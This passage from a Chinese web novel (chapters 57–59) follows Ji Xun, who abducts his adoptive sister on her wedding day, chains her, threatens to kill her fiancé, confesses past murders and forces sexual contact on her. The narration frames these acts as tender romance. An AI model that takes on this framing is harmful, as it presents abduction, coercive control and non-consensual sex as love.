季珣的指腹上有一层薄薄的茧,他粗粝的手指摩挲着姜芸薇的肌肤,被他碰过的地方,传来细微的酥酥麻麻的触感,恍若被蚂蚁爬过般,令人心口发紧。 她下意识的想要往后缩,稍微动一下,足踝间的金铃便发出“叮铃”一声脆响。 这声音恍若催命符咒般攥住了她的心脏,姜芸薇软下声调,眼底漫上一层湿意,哀求道:“阿珣,我不喜欢这东西,帮我解开好不好?” 季珣脸上笑意温和,可说出的话却带着不容置喙的意味,“抱歉,阿姐,我不能答应你,一旦解开你就跑了。” 就如同幼时豢养的那只雀鸟一般,一旦松开了金丝笼的桎梏,便毫不犹豫的飞离了他的身边,一去不回。 姜芸薇心头冰凉一片,她眼尾泛红,声音带着几分哭腔,质问道:“阿珣,你到底想要如何?难不成要一辈子关着我吗?” 今日乃是她的大喜之日,然而,新娘却无故失踪了,眼下外面指不定乱成什么样呢!岑墨定然亦是心急如焚,担忧不已,可她却被囚在此处,一点办法都没有。 阿珣显然是蓄谋已久,原来,他早就计划着今日这一切了,亏她还傻傻以为,他如今已经放下了执念,眼前的一切,就恍若一场噩梦,她多么希望梦醒之后,一切还能够回到从前。 “阿姐,别哭,今日乃是我们的新婚之夜,你应该高兴些。” 季珣抬手,指腹轻柔地擦去她眼角的泪痕,紧接着他站起身,走到案前将早已温好的合卺酒端了过来,放在一旁的梨花木小几上,他斟满了两杯酒,将其中一杯递到姜芸薇的面前,“阿姐,该喝合卺酒了,别误了吉时。” 酒香袅袅,在空气中丝丝缕缕弥漫开来,透着几分甜腻气息。 姜芸薇只当做没听见,扭过脸去不看他。 季珣笑吟吟地望着她,眉眼清俊柔和,然而吐出的字句,却恍若毒蛇吐着冰冷的信子,淬了毒般狠厉,“阿姐,你又不听话了,你就不怕我杀了岑墨吗?” “你说什么?”姜芸薇猛地抬头,一脸惊惶地望着他。 她甚至怀疑是自己听错了,杀人?阿珣怎么可能会杀人?纵使今夜的阿珣,陌生的令人感到心惊,可她却怎么也无法将杀人这般狠戾的行径,和记忆中那个玉洁松贞的少年联系在一起。 季珣勾起唇角,语调越发温柔,恍若情人之间的呢喃细语,“阿姐,你忘了吗?方源便是我亲手所杀,还有梁棣也是我推入水中的,只不过他命大,侥幸保住了一条小命,这个世界上,凡是敢觊觎欺辱阿姐的人,我一个都不会放过。” 姜芸薇脑子里“嗡”的一声,僵在原地动弹不得。 她不敢置信地盯着眼前的少年,他生的这般俊美,唇红齿白,清隽如玉,如同画中谪仙,然而他却又偏偏将杀人一事,说的如此轻描淡写,就恍若吃饭喝水一般寻常。 他这副俊美皮囊下,到底藏着怎样一颗偏执、狠戾的心? 为何她从前与他朝夕相处,却从未窥出半分端倪。 姜芸薇害怕地浑身轻颤,呼吸亦不自觉的加重了几分,她下意识的想要往床角躲,然而,脚踝却被禁锢住,退无可退,动弹不得。 季珣大手一揽,毫不费力的将她禁锢在怀中,他低头凝视着她泪凝于睫的眸子,“阿姐,你想明白没有,究竟要不要与我饮下这杯合卺酒?” “我喝。”姜芸薇牙齿都在打颤,嗓音发抖,她害怕此刻的季珣,分明他的脸上带着温柔和煦的笑容,可那副模样落在她的眼底,却比恶鬼还要更加可怖。 “好,阿姐真乖。”季珣弯唇,眸底漾开一抹愉悦的笑意,他将酒杯递到姜芸薇颤抖的手中,旋即,拿起剩下的那一杯。 两人交杯对饮,手腕勾缠的亲密姿态在摇曳的红帐上倒映出相依相偎的剪影,倒恍若当真是一对鹣鲽情深的眷侣。 待到一杯酒饮尽,姜芸薇放下酒盏,冷冷看向他,“如你所愿。” 这还是季珣头一次瞧见姜芸薇愠怒的模样,她下颌线绷得紧紧的,显然气得不轻,偏生那长睫上还凝着几颗细碎的泪珠,一双眸子湿漉漉的盛着恼意,恍若幼猫张牙舞爪的亮着爪子,一点威慑力都没有,反而多了几分惹人怜的倔强。 她的唇上沾染了酒渍,红唇在烛火下泛着莹润色泽,恍若熟透的樱桃,引人采撷。 季珣喉结滚动了两下,喉间发痒,他情不自禁地俯下身,嗪住了她殷红而又饱满的唇珠。 他的舌尖轻轻舔舐着姜芸薇唇角的酒渍,他身上清冽的梅香,铺天盖地涌了上来,浸润姜芸薇的五感。 她浑身僵硬,紧紧咬着牙齿,不敢动弹。 “阿姐,乖,张开嘴巴。” 季珣说话时的热气喷洒在她的面上,激起一阵阵细微的酥麻战栗感。 姜芸薇不肯如他所愿,她牙关紧咬,连一丝缝隙都不肯留下。 季珣蓦地欺身,含上了她小巧莹润的耳垂,用舌尖肆意舔|弄。 姜芸薇何曾被人这般对待过,男人温热的唇瓣包裹着耳垂,泛起一阵湿热的痒意,她情不自禁的蜷缩起身子,浑身打着哆嗦,口中发出极短促细微的呜咽之声,“阿珣,别,不要。” 季珣的唇瓣还贴着她的耳廓,吐息灼热,他口中含糊不清的开口道:“阿姐,和我肌肤之亲,你不喜欢吗?还是说,你的心中还在想着岑墨?” 他的语气骤然冷了下来。 第57章 第57章 阿珣,别逼我恨你 姜芸薇浑身战栗, 惊惧不已。 此刻的季珣在她眼里,就犹如一只披着人皮的恶鬼,令她本能的感到恐惧。 姜芸薇红着眼睛, 眸中水雾朦胧, 她哭着哀求道:“阿珣,你放过我吧。” 看着她掉眼泪,季珣又何尝好受?他心间泛起一阵难言的苦涩钝痛感。 他颤抖着去吻姜芸薇的眼睛, 将她滚烫的、咸涩的泪水悉数吞咽入腹, 他将她揽在怀中,低声呢喃道:“阿姐, 求求你,别离开我。” 姜芸薇喉间发堵, 不知该说些什么。 眼前的人, 亲手毁掉了她的婚事, 又将她囚在此处。 她本该恨他。 恨他误入歧途, 恨他胆敢大逆不道觊觎长姐。 然而, 这么多年以来,两人朝夕相处,护着他、照顾他,似乎早已经成了刻进骨子里的本能。 她望着眼前这张既熟悉又陌生的脸,心中一片茫然。 她一时竟不知道,该如何去恨他。 姜芸薇哽咽道:“阿珣,你怎么会变成现在这个样子?” 季珣浑身一僵, 身体里的血液似乎在那一瞬间,骤然凝固。 他从来就不是什么好人。 心狠手辣,视人命如草芥,前世死在他手中的冤魂, 数不胜数。 然而此刻,听到她带着哭腔的诘问,看着她失望的眼神,心口处骤然传来一阵尖锐的疼痛,像是有千万把利刃,齐齐扎进肺腑,将五脏六腑翻搅得血肉模糊。 他勾了勾唇角,笑意里带着几分自嘲讥讽的意味,“阿姐,我一直都是这样子,只是你从来不曾了解过我罢了。” 姜芸薇不再说话了。 她确实从来不曾了解过季珣。 他外表看着光风霁月,内里却是个不折不扣的疯子。 季珣并不在意她冷淡的态度,他柔声道:“阿姐,时候不早了,早些歇息吧。” 话毕,他抬手便欲帮她解下鬓间的珠钗。 姜芸薇身子往后缩了缩,一脸戒备的盯着他,她眸中嗪着水雾,神情惊惶,“阿珣,你要做什么?” 季珣被她惊惧的眼神刺痛了,手中动作一顿。 分明他已经如愿以偿,将姜芸薇囚在身边,然而为何,胸口处却传来滚烫发胀的感觉?像是有一团火在灼烧着,令他喉间发苦。 季珣遒劲有力的手臂倏地擒住她细嫩的手腕,又腾出另一只手来,将她发鬓间的珠钗步摇一股脑取了出来,随手扔在一旁小几上,继而,她将姜芸薇身上喜服剥的一干二净,只留下一件绣着鸳鸯戏水图案的肚兜和亵裤,堪堪遮住她玲珑的身段。 羞耻感如潮水般将她淹没,姜芸薇抱紧了胳膊,缩在床沿边,单薄肩头抑制不住地轻颤。 季珣的手指如蛇一般,沿着她单薄伶仃的肩胛骨缓缓游走。那触感来得猝不及防,惹得她肩头猛地瑟缩,睫羽簌簌颤抖,如同狂风中的落叶,被他指尖碰到的每一处都激起一阵陌生的战栗。 他的动作极缓,指尖堪堪停在她锁骨处的朱红色小痣上,似是无意般,轻轻碾过。 紧接着,那只手一寸寸往下漫溯…… 季珣毫无预兆地覆上口口,她的脊背遽然绷紧,呼吸滞在喉间,就连指尖都攥得泛白。 季珣俯身贴近她耳畔,嗓音又轻又柔,透着几分蛊惑的意味,“阿姐,春宵一刻值千金,今夜乃是我们的洞房之夜,早些安置吧。” 姜芸薇脑袋嗡鸣,血气上涌,脸颊滚烫的像是要烧起来。 从未被旁人窥伺过的私隅,此刻却被男人的大掌骤然握住,一股酥麻的异样感沿着那处蔓延开来,令她浑身都止不住的哆嗦战栗,脚踝处铃铛声“叮铃”响起,姜芸薇颤抖着,小声呜咽着想要推开他,“阿珣,别这样。” 然而,她那两只细弱伶仃的手掌甫一碰上季珣健硕宽阔的胸膛,便被他顺势攥住,将她整个人猛地拉近,他遒劲有力的手臂紧揽着她的纤腰,她的鼻尖撞在他的胸腔上,疼的她眼眶一酸,眼角瞬间蓄起了泪花。 两人气息交缠,呼吸间尽是季珣身上清冽的雪梅香气,沿着鼻端钻入肺腑,熏的她头昏脑涨,头皮发麻,似乎整个人都被他身上的气息牢牢裹住。 她眸中带泪,哀哀地望着他,徒劳地挣扎着,“阿珣,不要。” 季珣俯下身又去吻她。 姜芸薇偏头躲过。 下一瞬,他湿热的吻转而落在她细腻的脖颈处,他宽厚的手掌扣住她的后颈,修长手指嵌入她乌发间,姜芸薇纤细白皙的脖颈被迫后仰,恍若被大雪压弯的花枝,颤颤惹人怜。 姜芸薇浑身紧绷,手指紧攥着身下的被衾,揉成皱巴巴一团。 季珣的指尖循着她光滑柔腻的脊背缓缓游移,最终悬在她后背的小衣系带处。 他的手指轻轻勾缠住小衣细细的红带子,并不着急解开,而是将其绕在指尖拨、弄着。 他粗粝的指腹时不时擦过她的肌肤,惹得她后颈汗毛都竖了起来。 红色系带散开,小衣松松垮垮滑落下来,坠在身上。 姜芸薇半边莹润白皙的圆润肩头暴露在视线中,锁骨下一大片白腻的皮肉,香肩雪脯,纤细腰肢,在烛火下,如同剥了壳的荔枝,白皙透亮。 红衣与白肤相映,透着几分绮丽秾艳之美。 季珣陡然俯下身,衔住小衣后若隐若现的口口。 姜芸薇脑海“轰”的一声炸开。 他齿尖极轻地厮.磨.啃咬。 姜芸薇浑身不住的颤抖,她恐惧到了极点,双手胡乱用力地捶打着男人的脊背,季珣却像是感觉不到痛似的,纹丝不动。 季珣缓缓抬头,他唇上还沾染着一点湿意,泛着潋滟的水光,乌黑的发丝垂落,披散在肩头,墨色瞳眸中沾染着未及褪去的欲念,眼尾湿红,雪肤乌发红唇,恍若勾人的艳鬼。 他手肘撑在她身侧的床榻上,将她严严实实困在自己和床榻之间。 姜芸薇察觉到了危险的气息,男人的双腿抵住她的膝弯,带着不容抗拒的力道。 衣料与衣料相贴,严丝合缝,几乎寻不到半分空隙。 连呼吸间的气流,都带着彼此的温度。 似乎有什么东西咯着她,滚烫炙热的温度隔着薄薄的一层亵裤渗过来,姜芸薇蓦地想起了赵媒婆给她看的那本册子,她脸颊顿时火辣辣的烧了起来。 “阿姐。”他口中轻喃着,嗓音低沉喑哑,浸染着浓得化不开的情意,一声接着一声的唤着姜芸薇的名,带着几分蛊惑的意味,“芸娘……好姐姐……。” 姜芸薇头脑昏涨,直到粗粝指腹勾住她的亵.裤,炙热的触感顺着腰窝蔓延开来,她这才陡然间清醒了过来,她颤声惊叫道:“阿珣,不行。” 季珣指尖动作未停,温热的掌心贴上她的肌肤。 姜芸薇浑身瑟缩了一下,眼底漫上一层薄薄的水汽,她嗓音冷沉了几分,带着几分决绝的意味,“阿珣,别逼我恨你!” 季珣浑身骤然僵住,恍若被一盆冷水兜头浇下,满腔情欲霎时寸寸冷却、消散。 烛光蓦地跳跃了一下,红烛发出荜拨燃烧的声响。 他直起身,目光定定的望着躺在床褥间的女郎。 只见她乌发散乱,额上汗津津的,几缕湿发黏腻地贴在颈侧,胸前白腻的肌肤上,满是斑驳靡艳的红色吻痕,从锁骨一路蔓延至心口,就连盈盈一握的腰肢上,亦布满了青白指印,她眸中蓄满了泪水,却倔强地紧咬着唇瓣,不肯让泪珠坠落,那双往日里温柔和煦的眼眸中,此时满是警惕与抗拒,恍若一只濒临绝境的幼兽。 “既然阿姐不愿,那就算了。”季珣在她身侧躺下,他长臂一伸,便将她揽在怀中。 他红唇贴上她的耳廓,恍若蛊惑般轻声开口,“可是,阿姐,我好难受,好姐姐,你就可怜可怜我,帮帮我吧。” 他口中喷出的热息落在耳廓,那股酥麻痒意炸的她头皮发麻。 “阿姐。”他宽厚的大掌蓦地擒住她细嫩的手腕,将她往下带。 直到掌心处传来烙铁般炙热坚硬的触感,姜芸薇才意识到他是什么意思。 她双眸瞬间瞪圆,脸颊涨得通红,如同被火烫了一般,下意识的便要收回手。 季珣却紧紧握着她的手,不容许她逃避。 * 姜芸薇才动了几下,掌心便已经沁出了一层薄汗。 手上汗津津的,黏腻得难受,手臂也又酸又麻,她蹙紧了眉头。 直到掌心被一团湿濡包裹住,季珣餍足的喟叹声也随之响起。 姜芸薇浑身一个哆嗦,这一刹那,她只觉浑身的血气都齐齐往脸上涌来,就连耳根,都泛着热意。 “我的好阿姐。” 季珣眸含笑意,爱怜地在她额上亲了一下。 紧接着,他拿起一块帕子,缓慢地将她掌心的湿濡擦去。 然而,却怎么都擦不干净。 季珣突然站起身道:“阿姐,你稍等片刻,我去取块湿帕子来。” 话毕,他朝着屋内的屏风后走去。 姜芸薇浑身被薄汗浸湿,她口中喘着气,还有些回不过神来。 周遭的空气中,每一寸都浸染着季珣身上的气息,丝丝缕缕的勾缠着她的神经,令她无处可躲。 季珣很快便去而复返,他坐在床沿边,轻轻执起她的手,用浸湿的帕子,缓缓擦拭着她的手指。 他垂着头,手中动作极慢,细细擦拭着她的每一根指节,神情认真而又温柔,恍若在对待什么举世无双的珍宝。 直到那五根嫩白的手指都被擦拭的泛起了红痕,而季珣却还拉着她的手不放,姜芸薇这才有些不自在地抽回了手。 “我要歇息了。” 姜芸薇蓦地扯过锦被裹住身子,背对着他躺下,就连呼吸都刻意放轻,生怕季珣再对她做些什么。 第58章 第58章 你准备关我到什么时候? 看着她僵直紧绷的后背, 季珣低笑一声,他蓦地伸出手臂,将她揽入怀中。 姜芸薇浑身一僵。 她的脑袋抵着季珣宽阔的胸膛, 男子腰.腹部的肌理线条匀称硬.朗, 块垒分明,带着灼热的温度,紧贴着她柔腻的肌肤。 他的心跳声像是擂鼓般, 砰砰撞在她的耳膜上, 令姜芸薇感到无所适从,她想要躲避, 想要后退,却被禁锢在他的怀中, 动弹不得。 “阿姐, 莫要再乱动了, 否则, 我可不保证接下来会不会对你做出更过分的事情。”他的嗓音轻柔的像是在低喃, 唇瓣擦过她的耳尖,湿|濡、潮热的触感瞬间包裹住了她。 姜芸薇浑身一僵,背脊霎时紧绷得像张拉满的弓弦,连指尖都不敢颤动半分。 他身上的香气铺天盖地的笼罩着她,将她团团包裹住,姜芸薇指尖紧紧攥着,指甲深深陷进掌心软肉里。 她杏眸睁得浑圆, 屏息凝神,浑身汗毛直立,一颗心突突直跳,几乎要撞破喉咙, 生怕身旁之人再有半分逾矩的举动。 好在季珣没再有任何动作,只是箍着她腰肢的手臂犹如铁钳般,带着不容挣脱的力道。 今日天刚蒙蒙亮,姜芸薇就起来梳妆打扮,折腾了整整一日,疲倦感早如潮水般涌上来。 窗外夜色越来越黑,姜芸薇眼皮也愈发沉重,她纤长的睫毛颤了几颤,终究抵不过那如潮水般涌来的倦意,她闭上眼睛睡了过去,呼吸也逐渐变得绵长均匀。 季珣垂眸,近乎贪婪地凝望着依偎在她怀中的女郎,只见她眉眼舒展,面容恬静平和,乖顺得不像话。 他喉结不自觉地滚动了一下,将怀中人抱得更紧了些,这一刻,他的心底骤然生出几分满足感,倘若阿姐,能够永远这般乖巧听话,不再想着逃离他的身边就好了。 * 翌日清晨,姜芸薇在季珣的怀中醒来。 她刚睁开眼睛,便对上一道含着柔润笑意的黑瞳,“阿姐,你醒了?” 姜芸薇僵了一下,这才发现自己整个人都趴在他的怀中,藕节般的手臂环着他的腰,双腿亦是无意识地压.在他的腿间。 隔着一层薄薄的亵裤衣料,她清晰的触及到,一处狰.狞滚.烫的坚.硬。 姜芸薇哪里知晓男子清晨身体本能的反应,她还以为季珣好端端的,又起了什么龌龊念头,脸色霎时白了几分,她如同被火烫了般,飞快地逃离开季珣的怀抱,眼神慌乱躲闪,甚至不敢看他一眼。 季珣并未在意她的反应,他站起身,便要穿衣下床。 见状,姜芸薇唤住她,嗓音轻柔,“阿珣,帮我解开脚上的锁链吧,我要去洗漱了。” 她不过只是试探着开口,没想到季珣听后,竟当真几步上前,在她面前蹲下身子。 他三两下便松开了锁链,只见姜芸薇白皙的足踝上,被勒出了一圈浅红色的印子。 他喉结微滚,情不自禁地伸手,握住那截纤细的足踝,手指轻柔地摩挲着那道红痕,“阿姐,疼吗?” 姜芸薇身子颤了一下,脚踝不由自主地往回缩,“不疼。” 季珣自红木衣柜中取出一套簇新的嫩绿烟水百花裙,递到她面前,“阿姐,这衣裙是我特意为你准备的。” 他喜欢看姜芸薇穿绿色衣裙,恍若一株亭亭玉立的新荷,亭亭袅袅,清丽动人。 姜芸薇只看了一眼,便知晓这裙子乃是用云锦裁就的料子,裙身细褶如流云层层漫开,裙摆上绣着的缠枝海棠栩栩如生,好似活了一般,而季珣身后的衣柜格架中,竟摆满了各式各样的裙裳,鹅黄、月白、浅粉,淡绿,都是她平日里常穿的颜色。 她内心震惊不已,阿珣究竟还有多少秘密瞒着她?这些衣物不是一朝一夕就能够准备好的,还有这宅院,看来,他早就计划好了这一切,而她却懵然不知。 姜芸薇收回思绪,昨夜的喜服自然不能够再穿了。 她思忖片刻后,点了点头,面色平静地接过了他递过来的衣裙。 季珣去了屏风后洗漱,姜芸薇趁这片刻的空隙,飞快的将衣裙换好。 待到季珣出来后,姜芸薇瞥他一眼,又飞快收回视线,她几乎是逃也似地走到屏风后,褪去衣衫,擦洗身子。 姜芸薇洗了很久,才磨磨蹭蹭地走出来。 季珣还坐在床榻上,听到声音后他抬起头,目光落在她的身上,一寸寸逡巡。 他的目光有如实质,姜芸薇心中有些不适,她感觉自己整个人都像是被剥光了衣物,赤条条地站在他的面前。 姜芸薇轻轻叹了口气,无奈道:“阿珣,你准备关我到什么时候?” 话音落下后,屋内空气瞬间凝滞。 姜芸薇抬眸直视着他,一字一句,“阿珣,我是活生生的人,不是你豢养的宠物,你难不成当真要将我关在这里一辈子?” 她的声音平静到近乎冷漠。 季珣心中一慌。 他害怕姜芸薇生气。 他几乎是下意识地揽住她,将她圈入怀中,下颌抵着她的颈窝处刮蹭着,卑微地恳求道:“阿姐,一辈子陪在我身边好不好?往后日日,我都陪着你。” 姜芸薇心中一沉,面上却不动神色,只淡淡瞥他一眼,“阿珣,别说胡话了,难不成你要将我一辈子困在这宅院中,不见天日?” 季珣语调愈发柔缓,透着几分蛊惑意味,“那阿姐,我们离开京城吧,我们去江南,去一个谁都不认识我们的地方,重新开始,好不好?有我在,我会赚钱养家,我们买一座小宅院,再请三四个丫鬟照顾起居,好不好?” 姜芸薇咬着唇瓣,缄默不语。 半晌,她才抬眼看向他,她的神情无奈,就像是在看一个不懂事的稚童,“阿珣,殿试在即,多少学子寒窗苦读,为的便是一朝登科,你此刻要走,难道这数年心血、满腔抱负,都要尽数舍弃吗?” 季珣哑声道:“阿姐,我从来都不想要什么功名利禄,这一世,我只想好好和你在一起。” 前世,他早已经拥有了一切,荣华富贵,无上权柄。 此生,他为了达成姐姐的心愿,周旋于那些天潢贵胄身边,虚与委蛇,算计逢迎,日日戴着假面,如同行尸走肉般,索然无味。 唯有待在姜芸薇的身边,感受到她身上独有的气息,他那颗早已干涸死寂的心,才总算是一寸寸活了过来,隔着一层薄薄的皮肉在胸腔里鲜活跳动。 姜芸薇声音轻的像是叹息,“阿珣,我想离开,你放我离开吧。” 她消失了整整一日,岑墨、赵媒婆他们此刻一定心急如焚,她不希望看到任何人因为她徒增烦忧。 季珣神情冷了下来,一双清凌凌的眼似寒玉,他望着她,语气不自觉带了几分诘问, “阿姐,我放你离开,你还要继续嫁给岑墨吗?” 姜芸薇无言以对。 她原本是想着,等到她嫁了人后,季珣便能够歇了那些心思,现下看来是她想错了,他这般偏执,若是自己再嫁给岑墨,季珣指不定会做出什么样的事情。 倘若他当真对岑墨动了杀心,那该如何是好? 姜芸薇思忖半晌后,决定暂且先稳住他,她摇了摇头,语气柔缓,“我大婚之日无故失踪,现在就算回来,名声也早就已经毁了,我又有何颜面再嫁给他呢?” 季珣听不得她这般自贬,他眉峰蹙起,面露不悦之色,“名声这些东西,最是虚妄无用,阿姐何必将这些放在心上。” 姜芸薇并不欲与他争辩这些,“阿珣,你就放我出去吧,我不会逃的,我们是姐弟,阿姐岂能当真抛下你?” 望着她清亮水润的眸子,季珣心底却无半分动摇之意。 他怎会忘记,就在不久之前,阿姐为了逃离他身边,竟还瞒着他,与岑墨定亲,如今又教他如何敢相信她口中所言? 只怕他前脚刚松口放她离开,她后脚便迫不及待去往岑墨身边了。 季珣狠下心肠,不去看她眸底漾开的哀意,他语气冷硬,毫无半分转圜余地,“阿姐,你死心吧,我是不会放你出去的。” 姜芸薇似乎早有预料,神色木然的点了点头。 季珣倏地敛去周身冷意,他眉眼漾开一抹温柔笑意,拉着姜芸薇的手,牵着她往外走,“阿姐,我带你出去瞧瞧这园子,你定会喜欢的。” 姜芸薇挣脱不开,索性便由着他去了。 姜芸薇原本以为,季珣买下的这间宅院,想必和他们在永安坊赁的小院差不多,谁知道踏出屋门的那一刹那,她竟被惊住了。 没想到,此处竟然如此富丽堂皇,和当初去梁府赴宴时候看到的宅院差不多。 青石板路蜿蜒至宅院深处,不似柳溪村地面上都是坑坑洼洼的泥地,抬眼望去,飞檐翘角,雕梁画栋,两侧栽满了粉白色的桃花和胭脂色的玉兰花,斜斜探出,争相斗艳,庭院正中间还摆着一个秋千架,在微风中轻轻晃动。 院子里垒着假山,山下一方水池,几尾金色锦鲤正在池中悠闲摆尾,游来游去,假山流水,繁花绕径,分外清幽雅致。 姜芸薇看得瞠目结舌,京城这样的宅院可不便宜,季珣究竟是哪里来的这么多银子? 第59章 第59章 我会变成阿姐喜欢的样子…… 季珣笑吟吟地望着她, “阿姐,你瞧此处你可还喜欢?” 姜芸薇心绪复杂,半晌无言。 倘若是在从前, 能够住上这样漂亮的大宅院, 她自然心生欢喜,可是如今,此处就像是一个外表富丽堂皇的金笼, 她被困在其中, 再也望不见外面的天日。 瞧见她脸上半分笑意也无,季珣心底凉了凉, 面上却并未表露分毫,他若无其事的牵着她的手来到正厅, 只见厅内竟有两个十四五岁左右的小丫鬟, 还有一个看上去精明稳重的中年男子。 三人瞧见季珣牵着一个女子走过来, 不由愣了一下。 那中年男子显然是个伶俐的, 瞥见二人交握的手, 顿时心下了然,他笑着行礼道:“见过公子,这位想必就是夫人了吧。” 季珣唇角轻勾,并未反驳。 姜芸薇本欲开口辩驳,可指尖触着季珣掌心灼热的温度,话到嘴边,却又硬生生咽了回去。 事到如今, 她实在不知道该如何向外人解释两人如今的关系,既是姐弟,为何却十指交缠?如此亲密无间?恐怕就算她开口解释,也无人会信, 想到这,她索性缄口不语。 中年男子心领神会,立马转头呵斥那两个呆愣着的小丫鬟,“还不快见过公子夫人。” 两个小丫鬟连忙福身行礼,嗓音清脆若银铃,“见过公子,见过夫人。” 季珣柔声,“阿姐,这位是府里的管家方文远,往后无论遇到何事,你皆可吩咐他去做。” 姜芸薇抿着唇瓣不语。 方文远满脸堆笑,引着一旁侍立的两个小丫鬟上前,“夫人,这两位是春桃和碧荷,往后就由她们负责贴身伺候夫人的饮食起居。” 姜芸薇这才无奈道:“我不需要人伺候。” 她话音刚落下,春桃和碧荷两个小丫鬟立马“扑通”一声跪了下来,满脸惶恐,“夫人,求求你不要赶我们走。” 她们两人乃是方文远从牙行买回来的,倘若不能留下来做丫鬟,定然会被退回去,说不定还会被转卖到窑子里去,她们实在害怕。 姜芸薇吓了一跳,连忙伸手便要去搀扶她们,“你们这是做什么,快些起来。” 春桃往地上咚咚磕了两个头,哀求道:“夫人,求求你留下我们吧,我们手脚勤快,什么都能干的,我们实在不想再被遣回牙行了。” 瞧见两个小丫鬟急得都快要哭了,姜芸薇顿时于心不忍,她柔声道:“你们起来吧,我不赶你们走就是了。” 小丫鬟连忙磕头道谢:“多谢夫人。” 姜芸薇从小到大,何曾见过这阵仗?她乃是在乡野长大的,对于这些动辄磕头下跪的规矩,只觉得浑身都不自在。 季珣看向方文远,神色淡淡,“昨日吩咐准备的早膳,可备好了?” “早已备好了。”方文远忙不迭点头,旋即引着两人来到正厅中那张的梨花木八仙桌上入座,只见桌面上早已摆得满满当当,水晶蒸饺、小米粥、荞麦饼,正冒着热腾腾的香气。 季珣将小米粥端到她面前,嗓音清润低缓,“阿姐,先吃早膳吧。” 有外人在场,姜芸薇自是不好多说什么,她在心中无奈叹了口气,只好拿起勺羹,慢慢喝起粥来。 一旁的方文远看得目瞪口呆,早在几个月前,季珣便雇了他来这座宅院当管家,不过这偌大的宅院却始终空置,无人居住,一直到十日前,季珣才吩咐他去买两个伶俐的小丫鬟,方文远自然照做。 这些日子和季珣打交道,方文远自然早已摸清了这位主家的脾性,冷清寡言,周身威压甚重,偶尔不经意间与他对上视线,都觉心惊胆战,脊背不自觉地绷紧。 却没有想到,这般清冷之人,竟然也会有如此温柔的一面。 而且,他竟然称呼眼前这个女子为阿姐,方文远浑身一震,只觉自己无意间窥探到了主家的秘辛,心头顿时惴惴不安起来。 饭桌上的气氛似乎有些沉闷凝滞,就连侍立一旁的方文远都敏锐地察觉到了不对劲,这位夫人心情不佳,对主家的态度也是不冷不热的。 往日里,饭桌上都是姜芸薇絮絮低语,而如今,她从始至终埋头喝粥,一言不发。 季珣却像是并未察觉到她冷漠的神情,时不时的往她碗里夹几块碟中的酱菜,唇角嗪笑,“阿姐,你尝尝这个。” 姜芸薇心乱如麻,她内心始终无法接受,朝夕相处的弟弟,竟对她滋生出了悖逆伦常的情意,更将她困在这一方不见天日的宅院之中,往后,她甚至都不知晓该以何种面目来面对他了。 这一日,两人从始至终都待在宅院中,未踏出院门半步。 不管姜芸薇去什么地方,季珣都始终寸步不离地跟随着她,恍若一个沉默的影子。 饶是姜芸薇这般好脾气,也被磨得生出几分恼意,她索性背过身坐在窗前案边,随手拿起一本书册看了起来。 季珣自身后轻轻拥住她,温热的气息像是羽毛般拂过她的后颈,“阿姐,日头太盛,这般对着光看书,仔细伤了眼睛。” 姜芸薇眼睫颤了一下,语气冷硬,“不用你管。” 季珣伸手夺过她手中的书册,随手扔在一旁,继而,他俯下身子,薄唇贴着她的耳廓,炙热的气息喷洒在她的肌肤上,“阿姐,就算你恼我,也犯不着和自己的身子过不去。” “阿珣,你到底想要如何!”姜芸薇忍无可忍,她转过身 子,气恼的瞪着他。 这一整日,他都跟在自己身边,她去哪里,他便跟到哪里,姜芸薇既无奈,又气恼,阿珣这是将她当成犯人看待了吗? 季珣手指勾缠着她垂落下来的乌发,唇瓣嗪着浅淡的笑意,一脸无辜道:“阿姐,我只是想陪着你,阿姐难道如今连见到我都不愿了吗?” 姜芸薇气结,她以前怎么没有发现,季珣竟然还有如此难缠的一面! 她深吸了口气,强迫自己镇定下来,“阿珣,你殿试在即,何必将时间都浪费在我的身上,左右我又没长翅膀,飞不出这座宅院,你不必管我,只管去忙你的吧。” “可是我只想陪着阿姐。”少年揽着姜芸薇纤细的腰肢,将她的脑袋按压在自己胸前,他的嗓音低哑,竟透着几分委屈的意味。 姜芸薇被季珣抱了满怀,两人之间距离太近,她甚至能够清晰地听到他急促有力的心跳声,整个人都被他身上的气息笼罩着,几乎快要喘不过气来。 “阿珣,你放开我!” 姜芸薇脸颊上泛起了红晕,挣扎起来。 然而,季珣虽然看着清瘦,手臂却遒劲有力,她使尽了力气,却压根撼不动他分毫。 季珣弯了弯唇,眼底却半分笑意都无,冷沉一片,他幽幽道:“阿姐,和我待在一起,你就这般不开心吗?你今日一整天都闷闷不乐,你心中还在想着那个姓岑的书生吗?” 季珣心中泛酸,胸腔中蓦地生出一阵难言的妒意。 他恨岑墨,凭什么他能够轻易而举,便和阿姐定下婚约,分明从始至终,陪在阿姐身侧的人都是他才对!阿姐只能是他的,任何人都休想抢走。 纵是泥塑的人儿,也有几分脾性,闻言,姜芸薇的心中也不禁生出几分怒意,她蹙眉望着他,“阿珣,我想他不是应该的吗?他才是我要嫁的人,而你毁了我的婚事,还将我囚在此……唔…唔……” 她的话还没说完,便被季珣柔软的唇瓣给堵住了。 他吻的很凶,滚烫的舌头灵活的侵入,勾缠着姜芸薇的小舌,剐蹭着她柔软的唇壁软肉,肆意吮.吸.舔.舐,姜芸薇只能被迫承受他猛烈的侵袭,就连舌根都被吮吸的发麻发痛。 好半晌,季珣才放开了她,唇瓣相离的刹那,牵出一缕晶亮的银丝。 姜芸薇张着唇瓣,微微喘息着,她的唇被他亲的红滟滟的,像是树上鲜嫩的果子,咬一口便能够淌出甜腻的汁水出来。 季珣指腹碾过她被吻得泛红的唇瓣,轻轻摩挲着,擦拭着她唇角残留的濡湿,惹得姜芸薇浑身不可抑制地轻颤起来。 “阿姐。”季珣目光痴缠的望着她,然而口中吐出的话,却字字狠戾,“倘若你心中若是再惦念着旁人,我便去亲手杀了他。” 姜芸薇身体陡然一僵,她实在是无法接受,那个如清风朗月般少年,竟会变成如今这样心狠手辣,视人命于草芥的模样! 她气急,“阿珣,你疯了吗!那是一条活生生的人命,他们并没有错。” 季珣神色漠然,“旁人的性命,与我有何干系?”顿了顿,他似乎想到了什么,愉悦地勾了勾唇,嗓音温柔的令人毛骨悚然,“阿姐,你还不知道吧,其实葛三也是我亲手所杀的,那把火,也是我放的。” 姜芸薇如遭雷击,一脸震惊地望着他,她忽然觉得,眼前的少年简直陌生得可怕,她心中既难过,又失望。 看着他眸中毫不掩饰的狠戾之色,姜芸薇气血直往头顶涌去,她下意识地扬起手,朝着他的脸上挥去。 指尖堪堪要碰到他的脸颊时,又猛地顿住。 